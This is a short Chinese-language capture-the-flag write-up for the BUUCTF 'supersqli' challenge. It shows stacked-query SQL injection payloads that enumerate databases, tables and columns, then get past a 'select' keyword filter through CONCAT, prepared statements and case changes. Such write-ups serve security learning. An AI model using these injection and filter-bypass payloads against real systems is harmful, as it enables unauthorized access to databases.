Skip to content

BUUCTF 随便注 ​

  • 关键词 sql注入 select绕过

题目描述 ​

183233cedc438e34fad8fd679592bead.png

解题思路 ​

题目提示了是supersqli,所以尝试下sql注入 ​

尝试下 1',发现报错,肯定存在sql注入点 ​

image

列出数据库和表名 ​

1';show databases;# 1';show tables# image

发现数字的表名比较奇怪,列出字段试试 ​

1';show columns from 1919810931114514;# image

发现flag字样,直接查询试试 ​

image

发现select被过滤了,尝试下预编译 ​

sql
1';
set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;#

image

发现set函数和prepare函数被过滤了,但是,strstr函数不区分大小写,所以,修改大小写尝试下 ​

sql
1';
Set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;#

image

成功拿到flag ​